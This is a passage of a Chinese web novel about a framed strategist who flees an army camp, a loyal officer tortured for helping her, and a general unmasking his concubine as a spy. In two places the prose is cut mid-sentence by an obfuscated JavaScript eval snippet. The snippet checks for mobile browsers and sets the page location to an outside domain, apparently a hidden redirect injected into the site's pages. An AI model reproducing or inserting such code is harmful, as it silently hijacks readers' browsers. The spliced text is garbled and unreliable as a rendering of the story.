这时醉酒之人醒来,只觉头昏脑胀,含糊地交代道:“小的只记得有人到监牢送食物,请小的喝了几口酒,之后便什么都不记得了……” 陈长生呵斥道:“蠢货!来人是谁?” “记不清了,看着眼生!” “来人,来人,给我拖下去打!”陈长生被气得咬牙切齿,恨不得将人千刀万剐。 “大人饶命,那人不是咱们军中的,小人不认识啊!” 在那人的求饶声中,陈长生将犀利的目光再次投向韩成,认定了那个人就是他派去的。 “韩将军,你还有什么好说的?” “我说什么说?这军营中除了你我帐下的人,还有大殿下和董将军帐下的人,你凭什么只怀疑我!我与你平日里是有不和,但你也不能如此针对我!” 韩成说着再也忍不住脾气,撸起袖子就要去揍陈长生。 二人剑拔弩张之时,董弋见情况不妙,立即快韩成一步,上前挡在两人中间,劝解道:“二位都消消气,稍安勿躁,一会儿见了大殿下,请殿下再做定夺。” 陈长生与韩成这才意识到,大殿下现在情况不明正在救治,便谁也不服气地冷哼一声,不再说话。 可这动静还是太大,早已惊扰了帐内的顾洲,他等声音停止后,才让徐铭请众人进来。 徐铭自然不愿意,“殿下可听见刚才军医说什么来着?您这伤需要静养,不宜走动。不如先让他们回去,明日再议!” 顾洲忍痛坐起身来,对他有些不满,“你今日怎么回事,三番两次违抗我的命令,出了这么大的事,我怎么能坐视不理,快去!” “属下不敢……” 徐铭心虚不已,但也只能将人请进来,之后站到不起眼的角落里,忐忑地观察着一切。 众人进来行礼问安,虽然都敛的情绪,但面上神色各异。 董弋蹙着眉,悄悄看向顾洲的胸前,他现在只担心顾洲的伤势和自己的前途。 韩成面带愠色,嘴角下垂,就差把生气二字写在脑门儿上了。 而陈长生因怒气涨红了脸,抢先说道:“大殿下您可算醒了,真是让末将担忧至极。” 顾洲不理会他的阿谀,佯装不知情况,直接问道:“人可找到了?” 依旧是陈长生开口:“还没有……今晚细作逃走,巡营的军士难辞其咎,末将本想审问今晚巡营军士,奈何韩将军却护着他们,便一直未有结果。” 韩成又被扣了一顶帽子,即便是在大殿下面前,也忍不住提高音量反驳起来:“陈长生,你少在这恶人先告状,我几时说过不允了?” 顾洲心中担忧着沈明月安危,这些争吵只让他觉头痛不已,他捂着胸口轻咳了一下,耐着性子问道:“到底什么情况?” 董弋见大殿下精神不济,上前中肯地说道:“回殿下,方才二位将军情绪有些激动,话没有说明白,韩将军的确未曾说不允的话,不如现在将巡营军士叫来,问个明白。” 顾洲轻点了一下头。 角落里的徐铭脸色瞬间变得苍白,手指紧紧握住衣角,额头上起了一层细密的汗珠。 一个军士被带到后,由董弋问了情况。 “回将军,今晚我等巡守之时,在马厩旁遇见了徐校尉,徐校尉命说今晚要加强大营角落的防守,我等只是依令而行。” 陈长生恍然大悟似地说道:“怪不得沈明月顺利盗马,破坏栅栏逃走,原来是有徐校尉帮助。” 众人闻言,一齐看向顾洲身后,却未见徐铭,于是目光在帐内寻找。 徐铭本来想悄悄离开这里,但想到离开便是坐实了罪责,现在只能用不承认来继续拖延。 “徐铭!” 顾洲低沉的嗓音压抑着怒气。 徐铭赶紧从角落出来,压抑着心中的慌乱跪在他面前,强装镇定地说道:“今夜举营欢庆,属下只是担心军士掉以轻心、疏于防守,故而亲自巡查了一番。” 不等顾洲开口,陈长生追问道:“那为何偏偏你巡查完,人就跑了?” 徐铭脑中一团乱麻,一时想不起如何解释,只是坚定地说道:“殿下明察!此事绝不是属下所为。” 他从未欺瞒过主上,此刻的背叛令他让愧疚自责,紧张到喉咙发紧,说话的尾音极不自然。 顾洲看着徐铭的异样,面色愈发阴沉,眸光中晦暗不明,徐铭跟了他这么多年,他对他的脾气秉性早已一清二楚,他一眼就看出他在撒谎。 徐铭良久未听见主上发话,忍不住抬头看了一眼,还未看清顾洲的脸,便感觉到一道森然可怖的目光直视过来,他赶紧垂下头去,极力稳住呼吸,控制自己的身体不要发抖。 他这表现令顾洲更加生气,连问都不想再问,直接发话:“来人,传我命令,撤去徐铭校尉一职,关押起来,仔细审问!” 徐铭被带下后,陈长生好似胜利一般,奉承道:“殿下英明,审问一事还请交由末将,未将一定问出沈明月的去向。” 顾洲皱了皱眉头,若将徐铭交给他,必然要遭罪,可若不允,又有包庇之嫌,但为了之后的调查能顺利进行,他还是忍痛答应。 他扶侍从的手艰难起身,“也好,此事就交由陈将军处理,诸位今晚都辛苦了,回去休息吧,待陈将军问清后再寻找不迟。” 董弋听了微微一怔,怎么大殿下如此无情,不念半分旧情,要对徐铭刑讯逼供吗? 韩成还想辩驳什么,可他派出去的人还没回来,手上没有证据,张了张嘴却未说话。 此时已是后半夜,大家折腾了一日都十分疲惫,纷纷行礼告退。 刚走到门口,顾洲忽然叫住董弋:“董将军,你等一下,我有份作战计划要与你商议一下。” 董 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自她离开安庆大营后,连着跑了两个时辰,马儿明显体力不支,她不得不停下来休息,牵着马摸黑走前行。 到了一处背风地,马儿却说什么也不愿往前走,她只得停下来,将缰绳栓在自己手腕上,靠着一块石头休息。 之前的愤怒,随着一路狂奔已发泄出去了一部分,冤屈的情绪便又占领了思想高地。 为什么会这样?真是人心难测,自己一腔热情的真心付出,换了的却是猜忌和背叛。 尤其是顾洲那在信任与怀疑间反复游走的态度,更是令她伤心。 她挣扎着不哭,可心中怨怼到底翻涌出来,化作连绵不断的泪珠,蒙住了她的脸。 起初她还倔强地擦掉,去克制这泪珠,最但终放弃了,捂着脸抽泣起来,肆意宣泄着心中的委屈与不甘,可哭泣声杂糅进风的呼啸声中,再没有人会听见。 终于她哭累了,用披风裹着身子睡了过去。 在这野岭之中,各种潜在的危险令她一直紧绷着神经,睡得并不安稳,梦中依旧在跟顾洲辩解,可是她的语言又是那样苍白无力。 不知过了多久,手腕动了一下,她一下子就被惊醒,原来是马儿已将周边的草啃完,想去够远处的草吃。 此时天已大亮,她看看周围,发现正身处一面斜坡,再往坡上走几步便是万丈深渊,渊中一潭黑水如同恶魔的眼睛,紧紧凝视着看向它的人。 沈明月不自觉地握紧缰绳,暗暗庆幸,若是昨晚再多走几步便要粉身碎骨。 原来昨夜马儿察觉到了危险,所以不再前进,也多亏这马儿及时将她拉住,她后怕不已,摸着马头寻求慰藉,现在她周围只有这马儿能共情自己的感受了。 没有豆子这类的高蛋白饲料,马匹只能找更多草来补充体能,待马儿吃饱喝时,太阳已升了丈余高,她估计大营中早已事发,现在只有快点离开,才有生的希望。 又是一路狂奔,也不知过了多久,她和马匹都是疲惫不堪,路过一处水源地便停下来,马儿尚有草吃,可她却什么吃食也没有。 饥饿像凶猛的野兽一般,不断啃食着身体,她明显感到手脚无力,只得多喝了几口水,可丝毫不管用,不一会儿胃又缩成一团,仿佛被一只大手紧紧抓住。 此刻她已饿得心口发慌,两眼冒绿光,看什么都想上去啃一口,十分后悔没有将碗里的两个馒头一起带走。 越想越饿,在石缝里扒了几颗野菜,随便抖了抖土便塞进口中咀嚼起来,清苦的味道在口腔内散开,但她没有吐掉,狠狠心吞了下去。 这苦令她面部肌肉有些扭曲,甚至有些头痛,但也比没有强,她用最后的力气起身去周围找些果子,这荒山野岭并没有什么果树,即便有,她对这北方的水果也不甚了解,不敢轻易去尝试。 但是很幸运地在灌木丛中,找到了一些覆盆子,她摘了一把塞进嘴里,一股酸甜直达心底,让她跌倒谷底心有了一丝安慰。 她攒了些体力后再次出发,也不知道何时能到营州,但她必须前行,必须找到莺儿 33. 审讯 安庆大营。 沈明月离开后的次日清晨,顾洲在山坡上懊悔不已,立即命侍卫向南去秘密寻人,他当时没有立即去找,就是怕陈长生从中再插一杠子。 由此处向东、西、北三面而行,出了齐国皆是北蛮之地,所以沈明月只能是去了南边。 他特意交代,此行不是追捕,若找到人,务必要保护其安全。 之后回营,只觉思绪纷扰、灵台混沌,服了一碗浓浓的安神补血汤药后,沉沉睡了过去。 军医见大殿下终于服下药,才将一颗悬着的心稍稍放下,大殿下的伤口反复崩裂,又如此这般折腾,只怕会伤势恶化,危及性命。 侍卫送军医出来时,正遇见前来请示点兵事宜的韩成,待韩成得知营帐内的情况,恐大殿下一时半会也不能起身,但也不能坏了例行点兵的军规,便又去找董弋。 董弋正忙着完善大殿下交代的作战计划,一时也腾不开手,便命韩成与陈长生一起去点兵。 韩成十分不情愿,“现在陈将军可是大功臣,我可指挥不动他。” 董弋无奈只得写下点名的军令交给他,这下韩成再不满意与陈长生一起,也不得不服从命令。 当他来到演武场时,陈长生已身披铁甲,按剑登台,对着台下众将士声如雷霆。 “今日点兵,非为观武,实为砥砺,昨夜本将军已将细作抓捕,但却因大营疏于防守,致使细作逃跑,好在吾已找出细作的同谋者,正在严加审讯。” “此鼠辈外通敌国、内窃军机,实在罪不可恕,众将士须知,一纸密信,可毁我三万铁骑,一句谣言,可丧我千里疆土。” “尔等食君之禄,当报效君恩,不可为几枚蛮敌的铜钱,几句虚妄的诺言而背叛家国。众人要以此为戒,如有再犯者必严惩不怠!” 昨夜军士欢庆到深夜,这一大早还没睡醒就被拉起来训话,难免精神萎靡,心有怨怼,象征性了附和了几句口号,便不再出声。 这让台上的心气正盛的陈长生尴尬至极。 韩成看着手中的军令,对陈长生的越级行为十分不满,于是也不给他留情面,当众安排好今日防守,随即命队伍各回各营。 这才正和将士的心意,大呼几声“遵令”后有秩序地解散离场。 之后韩成还不忘讽刺几句:“陈将军今日可真是威风,若将这股劲头在战场上,定能所向披靡、百战百胜。” 这明褒实贬的话,令陈长生愈发感到窝火,可偏又挑不出什么错处,被气的话都说不利索:“你……你……” 韩成并不理会,甩了一下披风,满脸嫌弃地撇撇嘴离开。 陈长生看着他的背影,几乎是气急败坏,觉得他那挺直的后脊和端正的四方步,都是对自己无声的嘲讽。 一腔怒火无处发泄,叫上副将朝监牢走去。 牢中狱卒得他的授意,对徐铭下了死手,可这小子一直硬抗,什么也不说,现在他要亲自去审问,就不信撬不开这硬骨头的嘴。 监牢中,徐铭被绑在架子上,头无力地垂着,额前散落的碎发将面容遮盖,身上的衣服被鞭子抽碎成条状,浸满了血污。 陈长生问狱卒:“还是没招?” 得到否定的回答后,他拿起一根烙铁,沾过盐水水后放到炭炉上,水滴滴入炭火发出“嗞嗞”的响声,一团白色烟雾升腾而起。 徐铭听到声音,缓缓抬起头,见到是陈长生后,就知道今日是逃不过去了,可他没有惧怕,心想大不了一死,只希望沈先生能再逃远一些。 陈长生眼神微眯,语气中透着危险,“徐铭,我劝你赶紧交代,沈明月到底去了哪里?也好少受些皮肉之苦。” 徐铭吐掉口中的血水,冷笑一声,骂道:“陈长生你个庶子,将沈先生害得好苦,有什么手段尽管使来,小爷我才不怕!” 陈长生更加气恼,命人将炉子中生得再火大,看到烙铁头发红后,他将其举起步步逼近,面露凶狠道:“我倒是要看是你嘴硬,还是这烙铁头硬!” 一股灼热朝徐铭脸上袭来,他咬紧牙关,浑身肌肉紧绷,闭上眼睛准备迎接这蚀骨之痛。 烙铁头先触碰到他散落的发丝,一股焦糊味弥散入鼻孔,他紧张的心脏几乎要停止跳动,清楚地知道下一瞬,自己的皮肤也会发出这种味道。 在这紧要关头,一声“陈将军且慢!”打断了陈长生。 来人正是董弋,他快步上拦住陈长生,小声提醒道:“陈将军三思,此人可是定国公的本家亲戚。” 陈长生听完,拿着烙铁的手狠狠抖了一下,他是地方将领,鲜少进京述职,怎会知道京中复杂的人际关系。 这也使他冷静下来,忽觉自己真是被气晕了头,徐铭不仅仅是大殿下心腹,也是定国公安排的人,若真折在这里,日后若找起后账来,二人都不会放过自己。 眼下他的目的已经达到,再制造多余的仇恨,就是搬起石头砸自己的脚,于是顺坡下驴,将烙铁放下,笑道:“我也就是吓唬吓唬他!这小子不愧大殿下培养出来的人,有骨气得很。” 董弋如何看不穿他这谎话,只怕是自己再来晚一步,徐铭的脸就要被烫穿了。 昨夜大殿下有交代,命他暗中保护徐铭,所以他在监牢中安排了眼线,当得知陈长生踏入牢房,他便立即赶来。 对这毫无意义的吹捧,董弋轻笑一声,回归正题,“陈将军可得空了?我有些关于安庆的事要向陈将军请教。” 一听这事,陈长生便联想到昨夜大殿下交于董弋的军机,于是痛快地答应道:“董将军客气了,有什么话直接吩咐末将就好,还劳烦将军亲自过来。” 董弋不与他客气,“那请陈将军借一步说话。” 说罢与陈长生一起回到营帐,看着舆图问了几个问题,而后叹了口气,抱怨道:“大殿下这是求功心切,刚打完胜仗,就计划着下一次进攻,如此冒进,真让人担忧。” 随后抬头示意了一下案几,“害得我都没有时间休息,一直在为这行动挠头。” 陈长生向案几看去,只见案几上下散落着几张写满字的纸。 董弋打了个大大的哈欠,伸伸懒腰说道:“我眼下实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484652|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在困倦,就不留陈将军喝茶了,先去休息会儿。” 他说完转身朝里间走去,对外面吩咐道:“进来两个人收拾一下,将废纸拿去烧掉。” “是,将军安歇。” 陈长生躬身行礼,看着董弋进了里间,外面却没有人立即进来,此刻帐内只剩下陈长生一人,这是个绝佳的机会,他按捺住快要跳出来的心脏,控制着颤抖的脚步,走到案几边。 门吱呀一声被推开,侍从端着火盆进来,陈长生正好也要出去,他遮掩着慌张,小声道:“将军刚睡下,轻声些。” 侍从行礼回应。 离了营帐陈长生才长舒一口气后,装作无事人一般,可在回自己营帐的路上,却因紧张越走越快,后来几乎是小跑起来。 这一幕也正肖广林看见,心中暗骂道:“这兔崽子,猴急什么?” 但其实他比陈长生还要着急,匆匆进了韩成的营帐,直接往座位上一坐,不满地说道:“这都快晌午了,到底要等到什么时候?我说出去找,你又不让。” 韩成亲自为他倒了杯茶,依旧让他冷静,现在没有目标,就是徒劳。 肖广林瞥了一眼茶杯,起身急不可耐地说道:“那怎么办?虽说这周边的土匪围剿干净了,可还有豺狼虎豹呢?随便碰见一只就能要了她的命。” “放心,这丫头有主意,知道往安全地方去。喂!你别在我眼前晃悠了,我看着头晕。”韩成说着拉他坐下。 肖广林只得又坐回原位,满脸愁容问道:“你倒是跟我交个底,咱们在等谁?” “等到了你就知道了。” 韩成捻着茶杯,他心中不是不担忧,而是再等一个至关重要的人,这个人便是为沈明月洗脱罪名的突破口。 昨晚宴席上他就遣人出发,到现在至少过去了八个时辰,安庆到凌源并不远,就算是走着来也该到了,为确保万无一失,他再次派人去接应。 接应的人刚走到大营门口,就远远看见一辆马朝大营驶来,车棚一角挂的小灯笼,正是韩将军的标志。 马车行驶到韩成的营帐门口,从上面下来一个美妇人,她体态娇弱,眼睛红肿,由婢女搀扶着进了营帐。 “将军,妾来晚了……” 妇人见到韩成,又抽抽噎噎地哭泣起来,也不管别人在跟前,直接跪倒在韩成脚边,抓着他的衣摆说道:“将军伤在哪里了?” “已无事了,怎么才来?”韩成拂开她的手。 美妇人微微一怔,随即反应过来这帐中有外男在,于是跪着后退两步,带着些羞怯说道:“将军恕罪,是妾身失礼了!妾身得知将军负伤,心中担忧至极,哭晕了两次,又收拾了好些补品和药材才出发,马车沉重,走得慢了些,将军勿怪。 韩成只静静地听着她诉说,既不怜惜也不劝慰。 肖广林见只等来个妇人,很是不满,不知韩成要唱哪出戏,又不好意思耽误他夫妻二人团聚,便要告辞离开。 韩成见他要走,立即说道:“老肖你等等。” 之后又对随从吩咐道:“将人带上来。” 34. 调查 肖广林不知韩成葫芦里卖的什么药,重重地“嗨”了一声坐回原位。 可那美妇人似乎有些心虚,叩拜道:“将军要见客,妾身还是回避得好。” “不必!”韩成严肃的语气中含着几分冰冷。 不多时,侍卫便带来一个用黑布袋罩着头、双手被绑在身后的人进来,看体态和服饰应是女子。 那妇人还不等看清这人面容便胆怯起来,低着头不敢多言,只悄悄用余光去观察韩成的神色。 女子的头套被摘下,她看清了那妇人,委委屈屈地叫了声:“夫人救我……” 原来这美妇人正是韩成妾室,青夫人。 青夫人故作惊讶:“小莲?你怎么在这里?这是何处得罪了将军?” 韩成冷笑一声,问道:“她怎么在这里,你不知道吗?我离开凌源时已吩咐过她回府去,她到这里来不是你的安排吗?” 青夫人却不承认,“可小莲并未回府,是小莲违了将军的令,还请将军看在妾身的面子上饶过她一命。” 她的表情太过虚假,已掩盖不住内心的慌乱,上座的韩成将一切看在眼里,依旧不说话,只倒了杯茶缓缓喝喝着。 这可急坏了跪着的两人,尤其是小莲,更是畏惧得哆哆嗦嗦,昨晚筵席上,她交代完之后被人带下去,随后却被另一拨人用布紧紧塞住嘴,紧紧地捆到了一处秘密的监牢中。 监牢阴暗潮湿,时不时有老鼠臭虫爬过,又有严刑拷打的惨叫声传来,吓得她起来一层又一层的鸡皮疙瘩。 而她又不知将要如何被处置,每一阵路过的脚步声都将她的恐惧推向极点,就这样被关了整整一日,她甚至盼着有人来早点审问她,好快点结束这无尽的煎熬。 小莲见青夫人要将她撇清,立刻哭着说道:“我说,我说,我全说,是青夫人让我来安庆,让我找机会诬陷沈明月。” 青夫人听完花容失色,大声呵斥道:“你……你为何要这样诬陷我!亏我还为你求情!” 随后她跪着向前,抱着韩成的腿哭诉道:“我……妾身只是担心将军被那姓沈的女子所迷惑,所以派小莲来看着点她,我并不知沈明月是细作啊!” 韩成这才抬头,冷冽的目光中充满警告,随后将茶杯往桌上一放。 这动作虽然轻,但发出的响声还是让青夫人浑身一颤,向后瘫坐在地。 韩成起身,目光更加凌厉,开口道:“沈明月是细作?你从哪里得知的?这里好像没有人说过沈明月是细作吧。” 此次他派出的全是亲信,将消息捂得严密。 青夫人愣住,神色变得惶惑,的确,自从她进了这营帐就没人提过这两个字,她这才反应过来,这是被韩成摆了一道。 小莲见瞒不住了,主动交代:“将军,青夫人她一直在骗您。” 韩成看着青夫人,命令小莲道:“详细说来!” 小莲抽了抽鼻子,“她说自己不识字,每次京中大夫人来信,都要等将军您回来一起看,可是奴婢见过她自己看信。” 青夫人立即辩驳:“这又如何?将军明鉴,您教过妾身习字,妾身已识得了好些。” “可那信不是大夫人送来的,你看完信后为何立即烧掉?我还曾听见送信的人说:主上命你抓紧些时间,务必将……” 话还在小莲喉咙里,一把匕首刺就向她来,突如其来的变故使她骤然停住,嘴还保持着说最后一个字的口型,而眼睛却瞪得圆圆的,不可思议地看着没入胸膛的匕首,又抬头看着青夫人。 青夫人见事情已败露,若她再往下说,便要将背后之人供出,于是趁众人将注意力都集中在小莲身上时,从腰间抽出一把匕首猛然刺去。 “去死吧!背主之人!” 她面目狰狞,随即将刀拔出,喷出的鲜血溅在她娇艳的面庞上,她凄然一笑,似是早已做好了决绝的准备,反手准备将匕首刺进自己的心脏。 匕首锋利的尖端刚触及衣衫,她的手腕就被韩成一把捏住,力道之大几乎要将骨头捏碎,她被捏得失了力气,匕首掉落在地。 此刻已有军士持刀上前,将他们团团围住。 韩成蹲下身去捡起匕首,用她的衣服擦干净,看着光可鉴人的匕首刃,不急不躁地说道:“想死,没那么容易,你的主上可知你这般忠心吗?我不着急,等你想明白了自然会说。” “来人,将她关起来。” 青夫人被带下去,韩成看着快被惊掉下巴的肖广林,拍了拍他的肩膀说道:“让肖兄看笑话了,未想是后院起火。” “她可是你夫人啊!”肖广林有些难以置信,毕竟是睡一个被窝的人,怎的都这样藏心眼儿。 “只是我夫人给我安排的妾室……”韩成说着语气却变慢了,之后叫来侍从,又是一阵吩咐。 肖广林看着这熟悉的一幕,问道:“这又是哪一出?” “家事,家事!”韩成搪塞着,却暗暗皱了眉头。 他似乎想通了一些事情,而后更加觉得情况复杂起来,这青夫人原名青素,是他夫人说凌源偏僻,不放心他的起居,便安排青素过来服侍,但这青素是从何而来他却不得而知。 眼下与大殿下针锋相对是秦王,暗中构陷也是秦王惯用的手段,只怕这青素是秦王派来的,而小莲能与陈长生勾结上,说明陈长生也是秦王之人,这场诬陷显然是冲着大殿下来的。 至于为何将难发在了沈明月身上,他想大概是树大招风,秦王要先除掉大殿下身边这个多智的谋士。 还有更重要的一点,青素到他身边的时间,细算起来正好是大殿下上任营州的时间相同,这绝非不巧合,而是有人在背后精心谋划。 这些年他父亲为他筹谋运作,一直让他戍边,目的就是远离京中的勾心斗角,但他与夫人聚少离多、疏于沟通,竟渐渐地生出嫌隙来。 他原以为夫人此番安排或是为了讨好他,或是为了监视他,不想却别有深意。 更大的担忧在韩成心中缓缓升起,青素是经过了他夫人安插进来的,不知他夫人是被人利用了,还是也有参与其中。 他宁愿相信是第一种情况,但第二种情况也不无可能,也更可怕。 这也是刚才他没有继续说下去的原因,此事背后的隐秘,知道的人越少越好。 肖广林以为事情已经明了,便拉着他要去见顾洲,“这是要赶紧秉明大殿下,为沈长史讨回公道。” 韩成身形未动,“老肖,此事毕竟涉及到我的妾室,由我去说不合适。” 肖广林掂量掂量,以为他是嫌丢人不好意思去说,便问道:“那怎么办?由谁去说?” 他说完,见对方正直勾勾盯着自己看,对方的意思显而易见,他伸手指着自己的鼻子,带着些惊讶说道:“我?” 韩成点点头,但此事并非是他怕丢人,只是若由他去说,就表示他选择了大殿下,站到了秦王的对立面上,这也就意味着,他背后的整个韩家都站到了秦王的对立面上,可他父亲和他都不希望家族卷入储君之争中。 肖广林摆着双手否定道:“这可不行,我无官无职,怎可去见大殿下。” 韩成鼓励道:“谁说你无官无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这几张是陈长生帐下那个叫朱文的参军送来的,此人原是义军中的人,他曾见过此人与沈明月在一起,好似关系匪浅。 刚才朱文过来,坦白这些纸张是沈明月交给他保管的,而陈长生手中的证据是从他这里偷的。 除了这些,朱文还承诺:“陈将军此人是非不分,属下不愿再跟着这样的人,若大殿下有用得到属下的地方,属下万死莫辞。” 这人从义军营中投到陈长生帐下,现在又来向自己投诚,足见其惯会见风使舵。 但顾洲没有拒绝,令朱文暗中观察陈长生动向。 对于这样的人,他自有一套手段来驾驭,正直忠诚的臣子固然好,但这样“识时务”的臣子用处更大。 而肖广林带来的消息也,让顾洲确定了此事是这陈长生贼喊捉贼。 “诶呦,您瞧我,还没给您行礼呢。” 肖广林的声音打断了顾洲的思绪,抬头见他正要跪拜下去。 “免礼!”顾洲起身走近他,说道:“此事我自有定夺,但还需你保守秘密,查出陈长生的错处,才能还沈明月清白。” 肖广林见顾洲不摆架子,言语间是对自己也是信任,便义气起来:“一切听殿下安排,若是殿下有用得住我老肖的地方,不必客气,只管讲来。” 顾洲点点头:“好!先退下吧!” 肖广林见他伤得重,便抱拳告辞:“殿下好生休养,在下告辞。”说完挺着腰板出去了。 顾洲随即唤人进来更衣,之后拿了几瓶上药去了监牢。 35. 追寻 监牢中,徐铭深深垂着头,水在发丝末端汇聚,积成一个将滴未滴的水珠,上半身也是半湿的,衣服经过血水的浸染,已然成了粉红色,看来他不是第一次晕过去,中间生生被水浇醒过。 顾洲刚进监牢,一股浓重的血腥味扑面而来,让他不由得阴沉了面色,看着被绑在架子的人上奄奄一息,心中生出一股说不出的滋味。 虽知徐铭会吃点苦头,但也未想这群人下手这样狠,他神色紧绷、眸若寒霜,将手攥成了拳头,冷着脸问行刑之人道:“可招了?” “回大殿下,还……还没有!” 狱卒疑他是对这结果不满,心中忐忑不安,回答得谨小慎微。 顾洲佯装愤怒,声音愈发低沉:“无能,都出去,我亲自审问。” “是,是……”狱卒们得了特赦一般,麻利地退了出去。 顾洲上前亲自为徐铭解开绳子,侍卫将人抬进监牢里的床上。 徐铭伤得很重,这么大动作都没能将他唤醒,掀开破碎的衣服,身上几乎没有一块完整的好皮。 顾洲轻叹一声,心中杀意更甚,只是现在还不是时候,他命人打来温水,用软布擦拭伤口,再涂上药粉。 在药物的刺激下,火灼般的疼痛清晰无比,像一根根尖锐的钢针,无情地刺入肌理之中,徐铭的身体剧烈颤抖起来,冷汗再一次湿透了凌乱的发丝。 他幽幽转醒,见顾洲正亲自为自己上药,顿觉惊慌失措,他怎敢承这份恩情。 “殿下……” 开口便是冤屈满满,眼角因疼痛而泛红,几乎溢出眼泪,想起身行礼,可伤痛令他使不上一点力气。 他本想说“这可使不得”,嘴唇颤抖一下,再出声却是:“沈先生不是细作。” 顾洲没有回答,见他没伤到五脏,神色平静地责问道:“你可知错了?” “属下不知!”徐铭的倔强中带着不满。 顾洲见他不知悔改,手上的力道加重了一些,疼得他“诶呦”一声,心有不甘地重复了一遍:“先生不是细作,属下也没有错,是殿下……” 说完他别过头去擦了泪水,语气依旧坚定,“这件事,殿下……有错。” 好小子,长主意了!顾洲放下药膏,嘴角扯出一丝苦笑,徐铭说得对,是自己有错,自己大错特错。 但事情已经到了这一步,有些事索性一起问个明白。 “徐铭,沈明月给了你什么好处,让你连我都背叛了?” 说到背叛,徐铭有愧疚,无悔意。 他深吸一口气,缓了缓情绪回答道:“殿下,都说‘一日为师,终身为父’,虽然细算起来,沈先生比我还要小两个月,做不得我的父母,但我打心底里佩服她,一直将她当作尊长来对待……师傅有难,我不会袖手旁观。” 之后他挣扎着跪起身来,对顾洲重重地磕了一个头。 “徐铭对殿下是忠,对沈先生是孝,自古忠孝两难全,殿下与先生,我只能选一个……” 说完他再次叩首,仿佛下定了决心一般,“请主上赐死吧!” 顾洲打量着他,五味杂陈的心稍稍有了释怀,原来他对沈明月,仅仅是师徒之情。 如此,他也更加感慨沈明月的厉害之处,徐铭跟着他有三四年了,这几年来他身量高了,力气大了,可依旧有些小孩子脾性,可短短几个月的时间,就被沈明月培养得可以独当一面,更是“背叛”了他这个旧主。 何尝是徐铭,就连自己,也心甘情愿地为她折服。 顾洲放下手中的药粉,为他披上一件新的单衣,缓缓说道:“你可知昨日在大殿中,我为什么没有给你解释到机会吗?” 徐铭自己穿好衣服,有些茫然地摇了摇头。 “你以为你主上是昏了头,看不出这是陈长生设的局吗?你想想,在前线,作战计划都是临时制定,军机是在前线泄露,细作怎么在一直在安庆?” “昨晚陈长生将事情闹得这么大,矛头对准沈明月,所以我才将沈明月关起来,一是为了保护她,二是让陈长生放松警惕,看看他有什么目的。” “时间紧,我没机会告诉你,亏你跟我这么久,连这点意思都猜不出来,来这么一出,打乱了计划,也将你的沈先生推入外面危险之中,你可还觉得冤屈?” 得知真相,徐铭方知自己的莽撞,手紧紧抓住衣角,头耷拉下去,懊恼悔恨起来,小声嗫喏道:“属下知错了……” “所以现在只能将计就计,再让他们审你几日。” 顾洲此番说,也就是吓唬吓唬他,在朱文来见他之前,董弋派人来过,只说道:“一切已照殿下吩咐办妥。” 他便知道鱼儿已经开始咬钩了,而此刻的陈长生,估计正发愁如何将“作战计划”送出去,哪里还顾得上这里。 得知主上对沈先生的误会已解,徐铭心中没了坚持,身上的伤愈发疼了起来,他似乎是真害怕了,那些人下手那么狠,再等几天,自己不死也要废了。 “殿下开恩,我真的知错了。” 他一副可怜样,最终让顾洲心软下来,“放心,我将审讯的人换掉,陈长生这几日没功夫理会你,留你在此是为了拖延时间。” 徐铭这才松了一口气。 顾洲不能在这里多待,最后问道:“沈明月去了哪里?” 徐铭心中仍有担忧,但相较于山野中未知的危险,还是将她找到相对安全一些,他迟疑了一下,才吐出“营州”两个字。 顾洲神色微微一怔,“倒是学会灯下黑了。” 他想到过沈明月会去营州,但又十分不确定,她的性子,一直让人琢磨不透。 徐铭挠挠头,神情扭捏地挠挠头,笑道:“这倒不是,是莺儿还在营州。” 原来如此,顾洲恍然,是他忘记了沈明月还有这个小婢女。 出了监牢,他立即派人去传信,命所有侍卫沿着去营州的路寻找,又传令至海棠,命她在营州城内寻找。 海棠接到命令已是次日傍晚,她立刻行动潜入沈明月家中,却发觉早已人去楼空, 卧房内放着一只空碗和一双筷子,上面残留的食残迹已发干,但却没有发霉,看来人走了也就一两日的时间。 她的手下院内翻找了一遍,除了灶堂里未烧尽的衣服,表明沈明月曾经回来过,再无其它任何有价值的线索。 海棠思索了一下,命人拿着令牌去城门处,询问守卫是否遇到过两个可疑的女子,她则回大营去安排人手寻找事宜。 走出屋子之时,地上微光一闪,虽不明显,但也引起了她的注意。 捡起来一看,是一只耳坠子,她只觉得熟悉,一番回忆想了起来,沈明月在河边被捕那晚,她在沈明月的住处搜索时见到过。 当时那二人身上的首饰尽数典当,只余下这耳坠子,看来是十分重要之物。 将耳坠子收好,快马出城,却在大营门口看到了一匹没有配饰的战马,这马她认识,鬃毛上的那道白色太过明显,这是徐铭的马。 海棠心中冷哼几声,徐铭果然叛变,若当初主上能听她一言,将沈明月处理掉,也不至于造成今日的祸患。 不多时,手下来报,查的确有两个女子昨日半夜从东城门出城,不用多想,这定然是沈明月和她那小婢女。 虽然知道了逃离的方向,但海棠没有立即派人去追,她知道这沈明月狡猾得很,不会朝着这个方向一直走,她决定原计划不变,派人朝东、西、南三个方向分别寻找。 但天下之大,人海苍茫,寻找起来何其困难,十余日后,没有结果,海棠只得带着找到的线索,去安庆找顾洲回禀。 此事本可以传信,但再这样盲目找下去,已没有太大意义,又听闻主上重伤,她不放心,便亲自跑了一趟安庆。 二人不便在大营内见面,夜间,海棠在城外山坡上等了许久,才见顾洲身着一身烟蓝色罗衣缓步而来,虽仪容端正,可身形却瘦削了许多。 待走近了,才看清他神色憔悴,疲惫不堪,好似生了一场大病一般,看来这次的伤是重极了。 